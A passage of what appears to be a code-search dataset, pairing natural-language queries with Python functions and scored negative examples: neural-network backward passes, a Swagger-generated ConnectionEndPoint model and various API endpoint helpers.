config['L2_penalty']\\n\\n # print(\\\"shape of delta incoming: \\\", delta.shape, \\\"shape of x: \\\", self.x.shape)\\n self.d_x = delta.T @ self.x\\n # print(\\\"SHAPE OF GRADIENT: \\\", self.d_x.shape)\\n\\n # gradient momentum\\n self.w_inc = (a * self.d_x.T) + (y * self.d_v) - l * self.w\\n \\n # saving \\n if m:\\n self.d_v = self.w_inc\\n else:\\n self.d_v = np.zeros(self.w.shape)\\n\\n # backprop for bias weights\\n x_0 = np.ones([len(delta), 1])\\n\\n self.d_b = delta.T @ x_0\\n\\n # print(\\\"shape of BIAS GRAD: \\\", self.d_b.shape)\\n\\n self.d_w = delta @ self.w.T\\n # print(\\\"shape of w.T: \\\", self.w.T.shape, \\\"shape of RETURN delta: \\\", self.d_w.shape)\\n #print(self.w.shape)\\n return self.d_w\",\n \"def backward(self, g, lx):\\n if isinstance(g, sequence._Seq):\\n self._Matr__c_elem().backward(g._Seq__c_elem(),lx._Lexique__c_elem())\\n elif isinstance(g, _Matr):\\n self._Matr__c_elem().backward(g._Matr__c_elem(),lx._Lexique__c_elem())\\n self._Matr__maj()\",\n \"def backward(cls, grad_out, activated_out):\\n raise Exception(\\\"Unimplemented\\\")\",\n \"def backward(cls, grad_out, activated_out):\\n raise Exception(\\\"Unimplemented\\\")\",\n \"def backward(self, loss):\\n global_timer.my_timer.start_profile(\\\"BWD\\\")\\n mgr = PatrickStarManager()\\n mgr.set_training_stage(TrainingStage.BWD)\\n\\n for param_fp16 in self.client.chunk_based_param_fp16:\\n param_fp16.ps_attr.bwd_used_cnt = 0\\n\\n self.optimizer.zero_grad()\\n if self.loss_scaler:\\n self.loss_scaler.backward(loss)\\n else:\\n loss.backward()\\n mgr.update_margin_mem()\\n global_timer.my_timer.finish_profile(\\\"BWD\\\")\",\n \"def backward(ctx: Any, grad_output: Any) -> Any:\\n return grad_output, None\",\n \"def propagate_backward(self, h):\\n h = h.mm(self.feedbackweights.t())\\n if self.feedbackbias is not None:\\n h += self.feedbackbias.unsqueeze(0).expand_as(h)\\n return self.feedback_activationfunction(h)\",\n \"def forward(ctx, input):\\n input_orig = input.clone().double()\\n input = input.to(torch.uint8).double()\\n diff = input_orig.sub(input)\\n ctx.save_for_backward(diff)\\n return input\",\n \"def test_forward_backward(self):\\n f = forward(self.obs, self.S, self.A, self.E)\\n b = backward(self.obs, self.S, self.A, self.E)\\n fp = logsumexp(f[:, -1])\\n emission = precompute_emission(np.log(self.E))[tuple(self.obs[0])]\\n bp = logsumexp(np.log(self.S) + emission + b[:, 0])\\n assert_allclose(fp, bp)\",\n \"def move_backward(self, distance):\\r\\n return self.move('back', distance)\",\n \"def backward(self, upstream_grad):\\n\\n # derivative of Cost w.r.t W\\n self.dW = np.dot(upstream_grad, self.A_prev.T)\\n\\n # derivative of Cost w.r.t b, sum across rows\\n self.db = np.sum(upstream_grad, axis=1, keepdims=True)\\n\\n # derivative of Cost w.r.t A_prev\\n self.dA_prev = np.dot(self.params['W'].T, upstream_grad)\",\n \"def backward(self, next_layer_weights, next_layer_delta):\\n delta = np.dot(next_layer_weights.T, next_layer_delta)\\n delta = delta * self.mask * self.activation_derivative(self.z)\\n self.delta = delta\\n return delta\",\n \"def backward_pass(self, y, dy, retain_graph):\\n y1, y2 = torch.chunk(y, 2, dim=self.split_along_dim)\\n del y\\n assert not y1.requires_grad, 'y1 must already be detached'\\n assert not y2.requires_grad, 'y2 must already be detached'\\n dy1, dy2 = torch.chunk(dy, 2, dim=self.split_along_dim)\\n del dy\\n assert not dy1.requires_grad, 'dy1 must not require grad'\\n assert not dy2.requires_grad, 'dy2 must not require grad'\\n y1.requires_grad = True\\n y2.requires_grad = True\\n with torch.enable_grad():\\n self._set_seed('g')\\n gy1 = self.g_block(y1)\\n gy1.backward(dy2, retain_graph=retain_graph)\\n with torch.no_grad():\\n x2 = y2 - gy1\\n del y2, gy1\\n dx1 = dy1 + y1.grad\\n del dy1\\n y1.grad = None\\n with torch.enable_grad():\\n x2.requires_grad = True\\n self._set_seed('f')\\n fx2 = self.f_block(x2)\\n fx2.backward(dx1, retain_graph=retain_graph)\\n with torch.no_grad():\\n x1 = y1 - fx2\\n del y1, fx2\\n dx2 = dy2 + x2.grad\\n del dy2\\n x2.grad = None\\n x = torch.cat([x1, x2.detach()], dim=self.split_along_dim)\\n dx = torch.cat([dx1, dx2], dim=self.split_along_dim)\\n return x, dx\",\n \"def backward(self, b):\\n\\n self.b = [b]\\n\\n # calculate the estimated errors on each layer ($\\\\delta$)\\n for k,w in reversed(list(enumerate(self.weights[1:]))):\\n if self.has_bias:\\n delta = numpy.dot(self.b[0], w[1:].T)\\n act = self.a[k+1][:,1:]\\n else:\\n delta = numpy.dot(self.b[0], w.T)\\n act = self.a[k+1]\\n self.b.insert(0, delta*self.hidden_activation.f_prime_from_f(act))\\n\\n self.d = []\\n for a,b in zip(self.a[:-1], self.b):\\n self.d.append(numpy.dot(a.T, b) / len(b))\\n\\n return self.d\",\n \"def backward_propagation(parameters, cache, X, Y):\\n\\tm = X.shape[1]\\n\\n\\t# First, retrieve W1 and W2 from the dictionary \\\"parameters\\\".\\n\\tW1 = parameters['W1']\\n\\tW2 = parameters['W2']\\n\\n\\t# Retrieve also A1 and A2 from dictionary \\\"cache\\\".\\n\\tA1 = cache['A1']\\n\\tA2 = cache['A2']\\n\\n\\t# Backward propagation: calculate dW1, db1, dW2, db2. \\n\\tdZ2 = A2 - Y\\n\\tdW2 = 1/m*(np.dot(dZ2,A1.T))\\n\\tdb2 = 1/m*(np.sum(dZ2, axis=1, keepdims=True))\\n\\tdZ1 = (np.dot(W2.T, dZ2))*(1 - np.power(A1, 2))\\n\\tdW1 = 1/m*(np.dot(dZ1,X.T))\\n\\tdb1 = 1/m*(np.sum(dZ1, axis=1, keepdims=True))\\n\\n\\tgrads = {\\\"dW1\\\": dW1,\\n\\t\\t\\t\\\"db1\\\": db1,\\n\\t\\t\\t\\\"dW2\\\": dW2,\\n\\t\\t\\t\\\"db2\\\": db2}\\n\\n\\treturn grads\",\n \"def backward_tensor(self, x):\\n pass\",\n \"def backward(ctx, grad_output):\\n input, = ctx.saved_tensors\\n grad_input = grad_output.clone()\\n grad_input[torch.abs(input) > 1.001] = 0\\n return grad_input\",\n \"def backward(ctx, grad_output):\\n input, = ctx.saved_tensors\\n grad_input = grad_output.clone()\\n grad_input[torch.abs(input) > 1.001] = 0\\n return grad_input\",\n \"def backward(self, grad_output):\\n raise NotImplementedError\",\n \"def backward(self):\\n self.units = self._units_history.pop()\\n self._backward()\\n # We must set the utop to previous state immediately, because the utop could be other gate's input unit\\n # And other gate's backward could be called before this gate's backward\\n self._utop_history.pop()\\n if self._utop_history:\\n self.utop = self._utop_history[-1]\",\n \"def backward_propagate(self,\\n output_data,\\n sample=False):\\n if output_data.shape[1] != self.output_dim:\\n raise Exception(\\\"Output dimensionality has to match dbn.output_dim!\\\")\\n self.states[len(self._layers)] = output_data\\n for l in range(len(self._layers), 0, -1):\\n self.states[l - 1] = self._layers[l - 1].probability_v_given_h(self.states[l])\\n if sample is True:\\n self.states[l - 1] = self._layers[l - 1].sample_v(self.states[l - 1])\\n return self.states[0]\",\n \"def test_propagate_backward_last_hidden(self):\\n nn = NeuralNet(0, 0, '', '', blank=True)\\n nn.create_net(2, 1, 2, 2)\\n nn.eta = 0.1\\n\\n # Override weights to static value for reproducibility\\n for node in nn.layers[2].nodes:\\n node.weights = [0.6, 0.6]\\n\\n for node in nn.layers[3].nodes:\\n node.weights = [1.0, 1.0]\\n\\n # Walk forward\\n nn.propagate_forward([2, 3], test=True)\\n\\n # Walk backward\\n nn.propagate_backward([0])\\n\\n test_weight = nn.layers[-1].nodes[0].weights[0]\\n self.assertEqual(round(test_weight, 4), 0.9901)\",\n \"def backward(self, grad):\\n self.grads[\\\"w\\\"] = np.matmul(self.input_data.T, grad)\\n self.grads[\\\"b\\\"] = np.sum(grad, axis=0)\\n return np.matmul(self.input_data.T, grad)\",\n \"def on_backward_end(self, batch):\\n if self.updater == \\\"backward\\\":\\n grads = OrderedDict((name, param.grad.data.cpu(\\n )) for name, param in self.model.model.named_parameters() if param.grad is not None)\\n try:\\n self.update(grads)\\n except KeyboardInterrupt:\\n raise\\n except:\\n pass\",\n \"def backward_D(self):\\n self.loss_D_frame, self.loss_D_frame_real, self.loss_D_frame_fake = self.get_GAN_loss_D_sequential(\\n discriminator=self.discriminator,\\n real_images=self.real_target,\\n fake_images=self.fake_target,\\n conditioned_on=self.real_source,\\n )\\n self.loss_D += self.loss_D_frame\\n super().backward_D()\",\n \"def backward(self, x_out, x_target):\\r\\n return 2*(x_out - x_target)\",\n \"def backward(ctx, grad_output):\\n input, = ctx.saved_tensors\\n grad_input = grad_output.clone()\\n grad_input[input < 0] = 0\\n return truncate_significand(grad_input, ctx.n), None\",\n \"def backward(self, gradient):\\n raise NotImplementedError()\",\n \"def backward(self, loss, update_hp_grads=True, clear_lp_grads=False, **bwd_kwargs):\\n self.clear_lp_grads()\\n loss.backward(**bwd_kwargs)\\n\\n if update_hp_grads:\\n self.update_hp_grads(clear_lp_grads=clear_lp_grads)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7377122","0.73723805","0.73588955","0.7331348","0.7331348","0.7331348","0.7331348","0.7331348","0.7331348","0.7331348","0.7331348","0.7331348","0.7331348","0.7331348","0.7331348","0.7331348","0.7236625","0.7236625","0.7236625","0.7182567","0.7182567","0.7182567","0.7002343","0.6936671","0.6911944","0.68186414","0.67573607","0.6750776","0.67440915","0.67207295","0.6719543","0.66606164","0.66487086","0.6640861","0.66208124","0.6612137","0.66076636","0.65810215","0.6559394","0.6553824","0.65488636","0.65436673","0.6490941","0.6480934","0.64776665","0.64626724","0.64526564","0.6439171","0.6439171","0.6438762","0.6436665","0.64255023","0.6422621","0.6412424","0.63975537","0.63760966","0.63543266","0.63530964","0.6350147","0.634861","0.63410443","0.6337366","0.6320389","0.6315926","0.63127387","0.6311777","0.6306913","0.6306913","0.63041425","0.6292913","0.62851","0.628276","0.6273071","0.6237837","0.6233696","0.6233696","0.62236434","0.6212891","0.6174885","0.6171608","0.6154492","0.61484945","0.6143767","0.6141843","0.6131007","0.61308205","0.61250085","0.61233604","0.61056453","0.61056453","0.610447","0.61026853","0.60962564","0.6092067","0.6085267","0.6081022","0.6075195","0.6071348","0.6065735","0.60626316","0.6055776"],"string":"[\n \"0.7377122\",\n \"0.73723805\",\n \"0.73588955\",\n \"0.7331348\",\n \"0.7331348\",\n \"0.7331348\",\n \"0.7331348\",\n \"0.7331348\",\n \"0.7331348\",\n \"0.7331348\",\n \"0.7331348\",\n \"0.7331348\",\n \"0.7331348\",\n \"0.7331348\",\n \"0.7331348\",\n \"0.7331348\",\n \"0.7236625\",\n \"0.7236625\",\n \"0.7236625\",\n \"0.7182567\",\n \"0.7182567\",\n \"0.7182567\",\n \"0.7002343\",\n \"0.6936671\",\n \"0.6911944\",\n \"0.68186414\",\n \"0.67573607\",\n \"0.6750776\",\n \"0.67440915\",\n \"0.67207295\",\n \"0.6719543\",\n \"0.66606164\",\n \"0.66487086\",\n \"0.6640861\",\n \"0.66208124\",\n \"0.6612137\",\n \"0.66076636\",\n \"0.65810215\",\n \"0.6559394\",\n \"0.6553824\",\n \"0.65488636\",\n \"0.65436673\",\n \"0.6490941\",\n \"0.6480934\",\n \"0.64776665\",\n \"0.64626724\",\n \"0.64526564\",\n \"0.6439171\",\n \"0.6439171\",\n \"0.6438762\",\n \"0.6436665\",\n \"0.64255023\",\n \"0.6422621\",\n \"0.6412424\",\n \"0.63975537\",\n \"0.63760966\",\n \"0.63543266\",\n \"0.63530964\",\n \"0.6350147\",\n \"0.634861\",\n \"0.63410443\",\n \"0.6337366\",\n \"0.6320389\",\n \"0.6315926\",\n \"0.63127387\",\n \"0.6311777\",\n \"0.6306913\",\n \"0.6306913\",\n \"0.63041425\",\n \"0.6292913\",\n \"0.62851\",\n \"0.628276\",\n \"0.6273071\",\n \"0.6237837\",\n \"0.6233696\",\n \"0.6233696\",\n \"0.62236434\",\n \"0.6212891\",\n \"0.6174885\",\n \"0.6171608\",\n \"0.6154492\",\n \"0.61484945\",\n \"0.6143767\",\n \"0.6141843\",\n \"0.6131007\",\n \"0.61308205\",\n \"0.61250085\",\n \"0.61233604\",\n \"0.61056453\",\n \"0.61056453\",\n \"0.610447\",\n \"0.61026853\",\n \"0.60962564\",\n \"0.6092067\",\n \"0.6085267\",\n \"0.6081022\",\n \"0.6075195\",\n \"0.6071348\",\n \"0.6065735\",\n \"0.60626316\",\n \"0.6055776\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":14499,"cells":{"query":{"kind":"string","value":"ConnectionEndPoint a model defined in Swagger"},"document":{"kind":"string","value":"def __init__(self, uuid: str=None, name: List[NameAndValue]=None, operational_state: str=None, lifecycle_state: str=None, termination_direction: str=None, termination_state: str=None, layer_protocol_name: str=None, connectivity_service_end_point: str=None, parent_node_edge_point: List[str]=None, client_node_edge_point: List[str]=None, connection_port_direction: str=None, connection_port_role: str=None): # noqa: E501\n self.swagger_types = {\n 'uuid': str,\n 'name': List[NameAndValue],\n 'operational_state': str,\n 'lifecycle_state': str,\n 'termination_direction': str,\n 'termination_state': str,\n 'layer_protocol_name': str,\n 'connectivity_service_end_point': str,\n 'parent_node_edge_point': List[str],\n 'client_node_edge_point': List[str],\n 'connection_port_direction': str,\n 'connection_port_role': str\n }\n\n self.attribute_map = {\n 'uuid': 'uuid',\n 'name': 'name',\n 'operational_state': 'operational-state',\n 'lifecycle_state': 'lifecycle-state',\n 'termination_direction': 'termination-direction',\n 'termination_state': 'termination-state',\n 'layer_protocol_name': 'layer-protocol-name',\n 'connectivity_service_end_point': 'connectivity-service-end-point',\n 'parent_node_edge_point': 'parent-node-edge-point',\n 'client_node_edge_point': 'client-node-edge-point',\n 'connection_port_direction': 'connection-port-direction',\n 'connection_port_role': 'connection-port-role'\n }\n\n self._uuid = uuid\n self._name = name\n self._operational_state = operational_state\n self._lifecycle_state = lifecycle_state\n self._termination_direction = termination_direction\n self._termination_state = termination_state\n self._layer_protocol_name = layer_protocol_name\n self._connectivity_service_end_point = connectivity_service_end_point\n self._parent_node_edge_point = parent_node_edge_point\n self._client_node_edge_point = client_node_edge_point\n self._connection_port_direction = connection_port_direction\n self._connection_port_role = connection_port_role"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def get_endpoint(self, *args):\n\t\traise NotImplementedError","def _connectModel(self):\n pass","def endpoint(self):\n return self.Endpoint","def get_endpoint(self, oid):\n return self.get_object(CatalogEndpoint, ModelEndpoint, oid)","def create_model_endpoint(\n cls,\n db_session: sqlalchemy.orm.Session,\n model_endpoint: mlrun.common.schemas.ModelEndpoint,\n ) -> mlrun.common.schemas.ModelEndpoint:\n\n if model_endpoint.spec.model_uri or model_endpoint.status.feature_stats:\n logger.info(\n \"Getting feature metadata\",\n project=model_endpoint.metadata.project,\n model=model_endpoint.spec.model,\n function=model_endpoint.spec.function_uri,\n model_uri=model_endpoint.spec.model_uri,\n )\n\n # If model artifact was supplied, grab model metadata from artifact\n if model_endpoint.spec.model_uri:\n logger.info(\n \"Getting model object, inferring column names and collecting feature stats\"\n )\n run_db = mlrun.api.api.utils.get_run_db_instance(db_session)\n model_obj: mlrun.artifacts.ModelArtifact = (\n mlrun.datastore.store_resources.get_store_resource(\n model_endpoint.spec.model_uri, db=run_db\n )\n )\n\n # Get stats from model object if not found in model endpoint object\n if not model_endpoint.status.feature_stats and hasattr(\n model_obj, \"feature_stats\"\n ):\n if model_obj.spec.feature_stats:\n mlrun.common.model_monitoring.helpers.pad_features_hist(\n mlrun.common.model_monitoring.helpers.FeatureStats(\n model_obj.spec.feature_stats\n )\n )\n model_endpoint.status.feature_stats = model_obj.spec.feature_stats\n # Get labels from model object if not found in model endpoint object\n if not model_endpoint.spec.label_names and model_obj.spec.outputs:\n model_label_names = [\n mlrun.api.crud.model_monitoring.helpers.clean_feature_name(f.name)\n for f in model_obj.spec.outputs\n ]\n model_endpoint.spec.label_names = model_label_names\n\n # Get algorithm from model object if not found in model endpoint object\n if not model_endpoint.spec.algorithm and model_obj.spec.algorithm:\n model_endpoint.spec.algorithm = model_obj.spec.algorithm\n\n # Create monitoring feature set if monitoring found in model endpoint object\n if (\n model_endpoint.spec.monitoring_mode\n == mlrun.common.schemas.model_monitoring.ModelMonitoringMode.enabled.value\n ):\n monitoring_feature_set = cls.create_monitoring_feature_set(\n model_endpoint, model_obj, db_session, run_db\n )\n # Link model endpoint object to feature set URI\n model_endpoint.status.monitoring_feature_set_uri = (\n monitoring_feature_set.uri\n )\n\n # If feature_stats was either populated by model_uri or by manual input, make sure to keep the names\n # of the features. If feature_names was supplied, replace the names set in feature_stats, otherwise - make\n # sure to keep a clean version of the names\n if model_endpoint.status.feature_stats:\n logger.info(\"Feature stats found, cleaning feature names\")\n if model_endpoint.spec.feature_names:\n # Validate that the length of feature_stats is equal to the length of feature_names and label_names\n cls._validate_length_features_and_labels(model_endpoint=model_endpoint)\n\n # Clean feature names in both feature_stats and feature_names\n (\n model_endpoint.status.feature_stats,\n model_endpoint.spec.feature_names,\n ) = cls._adjust_feature_names_and_stats(model_endpoint=model_endpoint)\n\n logger.info(\n \"Done preparing feature names and stats\",\n feature_names=model_endpoint.spec.feature_names,\n )\n\n # If none of the above was supplied, feature names will be assigned on first contact with the model monitoring\n # system\n logger.info(\"Creating model endpoint\", endpoint_id=model_endpoint.metadata.uid)\n\n # Write the new model endpoint\n model_endpoint_store = get_model_endpoint_store(\n project=model_endpoint.metadata.project,\n secret_provider=mlrun.api.crud.secrets.get_project_secret_provider(\n project=model_endpoint.metadata.project\n ),\n )\n model_endpoint_store.write_model_endpoint(endpoint=model_endpoint.flat_dict())\n\n logger.info(\"Model endpoint created\", endpoint_id=model_endpoint.metadata.uid)\n\n return model_endpoint","def __init__(self, endpoint_a, endpoint_b):\n self.endpoint_a = endpoint_a\n self.endpoint_b = endpoint_b","async def connections_endpoints(request: web.BaseRequest):\n context: AdminRequestContext = request[\"context\"]\n connection_id = request.match_info[\"conn_id\"]\n\n profile = context.profile\n connection_mgr = ConnectionManager(profile)\n try:\n endpoints = await connection_mgr.get_endpoints(connection_id)\n except StorageNotFoundError as err:\n raise web.HTTPNotFound(reason=err.roll_up) from err\n except (BaseModelError, StorageError, WalletError) as err:\n raise web.HTTPBadRequest(reason=err.roll_up) from err\n\n return web.json_response(dict(zip((\"my_endpoint\", \"their_endpoint\"), endpoints)))","def RemoteEndPoint(self) -> _n_5_t_1:","def RemoteEndPoint(self) -> _n_5_t_1:","def RemoteEndPoint(self) -> _n_5_t_2:","def custom_service_endpoint(self) -> global___Snippet.ClientInitialization.ServiceEndpoint:","def endpoint(self):\r\n return self._endpoint","def LocalEndpoint(self) -> _n_5_t_1:","def __get_endpoint(self):\n return self._endpoint","def protocol(self):\n ...","def get_api_endpoint(self):\n return \"tcp://%s:%s\" % (self.ip, self.port)","def get_endpoint(self):\r\n return self._endpoint","def _convert_into_model_endpoint_object(\n endpoint: typing.Dict[str, typing.Any], feature_analysis: bool = False\n ) -> mlrun.common.schemas.ModelEndpoint:\n\n # Convert into `ModelEndpoint` object\n endpoint_obj = mlrun.common.schemas.ModelEndpoint().from_flat_dict(endpoint)\n\n # If feature analysis was applied, add feature stats and current stats to the model endpoint result\n if feature_analysis and endpoint_obj.spec.feature_names:\n endpoint_features = (\n mlrun.api.crud.model_monitoring.deployment.get_endpoint_features(\n feature_names=endpoint_obj.spec.feature_names,\n feature_stats=endpoint_obj.status.feature_stats,\n current_stats=endpoint_obj.status.current_stats,\n )\n )\n if endpoint_features:\n endpoint_obj.status.features = endpoint_features\n # Add the latest drift measures results (calculated by the model monitoring batch)\n drift_measures = mlrun.api.crud.model_monitoring.helpers.json_loads_if_not_none(\n endpoint.get(\n mlrun.common.schemas.model_monitoring.EventFieldType.DRIFT_MEASURES\n )\n )\n endpoint_obj.status.drift_measures = drift_measures\n\n return endpoint_obj","def from_dict(cls, dikt) -> 'ConnectionEndPoint':\n return util.deserialize_model(dikt, cls)","def get_endpoint(cls):\n raise NotImplementedError(\n \"%s must have implemented get_endpoint.\" % cls.__name__,\n )","def connected_endpoint(self):\n try:\n if self._connected_interface:\n return self._connected_interface\n except ObjectDoesNotExist:\n pass\n try:\n if self._connected_circuittermination:\n return self._connected_circuittermination\n except ObjectDoesNotExist:\n pass\n return None","def build_endpoint(self, **kwargs):\n\n raise NotImplementedError()","def connection(self):\n pass","def get_endpoints(self):\r\n return ENDPOINTS","def endpoints(self):\n return self[\"endpoints\"]","def get_private_endpoint_connection(\n self,\n resource_group_name, # type: str\n name, # type: str\n private_endpoint_connection_name, # type: str\n **kwargs # type: Any\n ):\n # type: (...) -> \"_models.RemotePrivateEndpointConnectionARMResource\"\n cls = kwargs.pop('cls', None) # type: ClsType[\"_models.RemotePrivateEndpointConnectionARMResource\"]\n error_map = {\n 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError\n }\n error_map.update(kwargs.pop('error_map', {}))\n api_version = \"2021-01-01\"\n accept = \"application/json\"\n\n # Construct URL\n url = self.get_private_endpoint_connection.metadata['url'] # type: ignore\n path_format_arguments = {\n 'resourceGroupName': self._serialize.url(\"resource_group_name\", resource_group_name, 'str', max_length=90, min_length=1, pattern=r'^[-\\w\\._\\(\\)]+[^\\.]$'),\n 'name': self._serialize.url(\"name\", name, 'str'),\n 'privateEndpointConnectionName': self._serialize.url(\"private_endpoint_connection_name\", private_endpoint_connection_name, 'str'),\n 'subscriptionId': self._serialize.url(\"self._config.subscription_id\", self._config.subscription_id, 'str'),\n }\n url = self._client.format_url(url, **path_format_arguments)\n\n # Construct parameters\n query_parameters = {} # type: Dict[str, Any]\n query_parameters['api-version'] = self._serialize.query(\"api_version\", api_version, 'str')\n\n # Construct headers\n header_parameters = {} # type: Dict[str, Any]\n header_parameters['Accept'] = self._serialize.header(\"accept\", accept, 'str')\n\n request = self._client.get(url, query_parameters, header_parameters)\n pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)\n response = pipeline_response.http_response\n\n if response.status_code not in [200]:\n map_error(status_code=response.status_code, response=response, error_map=error_map)\n error = self._deserialize.failsafe_deserialize(_models.DefaultErrorResponse, response)\n raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat)\n\n deserialized = self._deserialize('RemotePrivateEndpointConnectionARMResource', pipeline_response)\n\n if cls:\n return cls(pipeline_response, deserialized, {})\n\n return deserialized","def __init__(__self__, *,\n endpoint_type: pulumi.Input[str],\n resource_id: Optional[pulumi.Input[str]] = None):\n pulumi.set(__self__, \"endpoint_type\", 'HybridConnection')\n if resource_id is not None:\n pulumi.set(__self__, \"resource_id\", resource_id)","def connect(self, **kwargs):\n pass","def endpoint(self):\n return f'Endpoint = {self._peer.endpoint}'","def __init__(self, name: str, hw_device: Spinsolve): # type:ignore\n super().__init__(name, hw_device)\n # Solvent\n self.add_api_route(\"/solvent\", self.hw_device.get_solvent, methods=[\"GET\"])\n self.add_api_route(\"/solvent\", self.hw_device.set_solvent, methods=[\"PUT\"])\n # Sample name\n self.add_api_route(\"/sample-name\", self.hw_device.get_sample, methods=[\"GET\"])\n self.add_api_route(\"/sample-name\", self.hw_device.set_sample, methods=[\"PUT\"])\n # User data\n self.add_api_route(\"/user-data\", self.hw_device.get_user_data, methods=[\"GET\"])\n self.add_api_route(\"/user-data\", self.hw_device.set_user_data, methods=[\"PUT\"])\n # Protocols\n self.add_api_route(\n \"/protocol-list\", self.hw_device.list_protocols, methods=[\"GET\"]\n )\n self.add_api_route(\n \"/spectrum-folder\", self.hw_device.get_result_folder, methods=[\"GET\"]\n )\n self.add_api_route(\n \"/is-busy\", self.hw_device.is_protocol_running, methods=[\"GET\"]\n )","def get_endpoints(self):\n url = self.urlobject_single.format(self._cb.credentials.org_key, self._model_unique_id) + \"/endpoints\"\n resp = self._cb.get_object(url)\n return resp.get(\"results\", [])","def connect(self):\n raise NotImplementedError","def connect(self):\n raise NotImplementedError","def get_one(self, endpoint_ident):\n context = pecan.request.context\n endpoint = api_utils.get_resource('Endpoint', endpoint_ident)\n return Endpoint.convert_with_links(endpoint)","def connect(self, **kwargs):\n raise NotImplementedError","def connect(self, dbapi_connection, connection_record):","def describe_endpoint(EndpointName=None):\n pass","def endpoint(self) -> str:\n return pulumi.get(self, \"endpoint\")","def endpoint(self) -> str:\n return pulumi.get(self, \"endpoint\")","def __init__(self, url = None, context = \"corbaserver\"):\n self._initOrb (url)\n self._makeClients (\"manipulation\", self.defaultClients, context)","def endpoint(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"endpoint\")","def endpoint(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"endpoint\")","def set_Endpoint(self, value):\n super(AddressValidationInputSet, self)._set_input('Endpoint', value)","def _get_endpoint(self):\n\n self.endpoint = 'https://api.sumologic.com/api'\n self.response = self.session.get('https://api.sumologic.com/api/v1/collectors') # Dummy call to get endpoint\n endpoint = self.response.url.replace('/v1/collectors', '') # dirty hack to sanitise URI and retain domain\n logger.info(\"SDK Endpoint {}\".format(str(endpoint)))\n return endpoint","def __init__(self, endpoint, project=None):\n self.endpoint = endpoint\n self.project = project","def api_endpoint():\n return 'localhost'","def getEndpoint(self, tag):\r\n if tag in self.robots:\r\n return self.robots[tag]\r\n elif tag in self.containers:\r\n return self.containers[tag]\r\n else:\r\n raise InvalidRequest('Can not get a non existent endpoint '\r\n \"'{0}'.\".format(tag))","def connect(self) -> None:","def openapi(self) -> api.OpenAPISpec:\n return self._get_model(model=api.OpenAPISpec)","def connection(composition):\n return Connection(BASE_URL, 'http://localhost')","def connect(self, *args, **kwargs):","def endpoint(self) -> str:\n if self._endpoint:\n return self._endpoint\n elif self._controller_cls:\n endpoint = f'{self._controller_cls.Meta.endpoint_prefix}.{self.method_name}'\n return endpoint if not self.bp_name else f'{self.bp_name}.{endpoint}'\n elif self.bp_name:\n return f'{self.bp_name}.{self.method_name}'\n return self.method_name","def register_endpoints(api):\n api.add_resource(EventList, '/events')","def endpoints(self) -> pulumi.Input[Sequence[pulumi.Input['EndpointDependencyArgs']]]:\n return pulumi.get(self, \"endpoints\")","def connect(self):","def connect(self):","def _get_base_endpoint_name(self):","def __init__(self, endpoint, playerport1, playerport2, controlport):\n self.__endpoint = endpoint\n self.__player1 = playerport1\n self.__player2 = playerport2\n self.__control = controlport","def __init__(__self__, *,\n endpoint_port: pulumi.Input[int],\n listener_port: pulumi.Input[int]):\n pulumi.set(__self__, \"endpoint_port\", endpoint_port)\n pulumi.set(__self__, \"listener_port\", listener_port)","def set_definition(self, description):\n return self.client._perform_json(\n \"PUT\", \"/admin/connections/%s\" % self.name,\n body = description)","def set_Endpoint(self, value):\n super(ListOrdersInputSet, self)._set_input('Endpoint', value)","def __init__(self, connection):\n super().__init__(connection)","def connected_endpoint(self):\n try:\n if self._connected_poweroutlet:\n return self._connected_poweroutlet\n except ObjectDoesNotExist:\n pass\n try:\n if self._connected_powerfeed:\n return self._connected_powerfeed\n except ObjectDoesNotExist:\n pass\n return None","def __init__(self, connection):\n self.conn = connection","def device_connect(self):\n pass","def create_endpoint(coriolis, name, platform_type, connection_info,\n barbican=None, description=''):\n # check provider type is installed server-side:\n providers_dict = coriolis.providers.list().to_dict()\n if platform_type not in providers_dict:\n raise ValueError(\n 'platform_type must be one of %s' % providers_dict.keys())\n\n # if Barbican is available, store the connection info in it:\n if barbican:\n secret_ref = store_barbican_secret_for_coriolis(\n barbican, connection_info, name='Coriolis Endpoint %s' % name)\n connection_info = {'secret_ref': secret_ref}\n\n # create the endpoint:\n endpoint = coriolis.endpoints.create(\n name, platform_type, connection_info, description)\n\n return endpoint","def protocol(self):\n\n raise NotImplementedError()","def __init__(self):\n self.swagger_types = {\n 'id_conta': 'int',\n 'id_produto': 'int',\n 'id_pessoa': 'int',\n 'id_parentesco': 'int',\n 'tipo_portador': 'str',\n 'nome_impresso': 'str',\n 'id_tipo_cartao': 'int',\n 'flag_ativo': 'int',\n 'data_cadastro_portador': 'str',\n 'data_cancelamento_portador': 'str'\n }\n\n self.attribute_map = {\n 'id_conta': 'idConta',\n 'id_produto': 'idProduto',\n 'id_pessoa': 'idPessoa',\n 'id_parentesco': 'idParentesco',\n 'tipo_portador': 'tipoPortador',\n 'nome_impresso': 'nomeImpresso',\n 'id_tipo_cartao': 'idTipoCartao',\n 'flag_ativo': 'flagAtivo',\n 'data_cadastro_portador': 'dataCadastroPortador',\n 'data_cancelamento_portador': 'dataCancelamentoPortador'\n }\n\n self._id_conta = None\n self._id_produto = None\n self._id_pessoa = None\n self._id_parentesco = None\n self._tipo_portador = None\n self._nome_impresso = None\n self._id_tipo_cartao = None\n self._flag_ativo = None\n self._data_cadastro_portador = None\n self._data_cancelamento_portador = None","def connect(self):\n pass","def connect(self):\n pass","def connect(self):\n pass","def connect(self):\n pass","def connect(self):\n pass","def connect(self):\n pass","def connect(self):\n pass","def connect(self):\n pass","def connect(self):\n pass","def get_model_endpoint(\n self,\n auth_info: mlrun.common.schemas.AuthInfo,\n project: str,\n endpoint_id: str,\n metrics: typing.List[str] = None,\n start: str = \"now-1h\",\n end: str = \"now\",\n feature_analysis: bool = False,\n ) -> mlrun.common.schemas.ModelEndpoint:\n\n logger.info(\n \"Getting model endpoint record from DB\",\n endpoint_id=endpoint_id,\n )\n\n # Generate a model endpoint store object and get the model endpoint record as a 